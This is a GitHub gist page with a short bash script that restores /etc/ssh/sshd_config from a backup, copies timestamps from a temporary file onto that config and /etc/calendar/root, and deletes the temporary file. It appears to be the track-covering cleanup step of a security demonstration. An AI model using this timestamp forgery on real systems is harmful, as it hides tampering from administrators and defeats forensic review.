Skip to content

Instantly share code, notes, and snippets.

@MegaManSec
Created April 5, 2023 16:15
Show Gist options
  • Save MegaManSec/1d13850f2a3792cd17d741ed92d9a0fb to your computer and use it in GitHub Desktop.
Save MegaManSec/1d13850f2a3792cd17d741ed92d9a0fb to your computer and use it in GitHub Desktop.
#!/bin/bash
mv /etc/ssh/sshd_config.bak /etc/ssh/sshd_config
touch -r /tmp/t.tmp /etc/calendar/root
touch -r /tmp/t.tmp /etc/ssh/sshd_config
rm /tmp/t.tmp
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment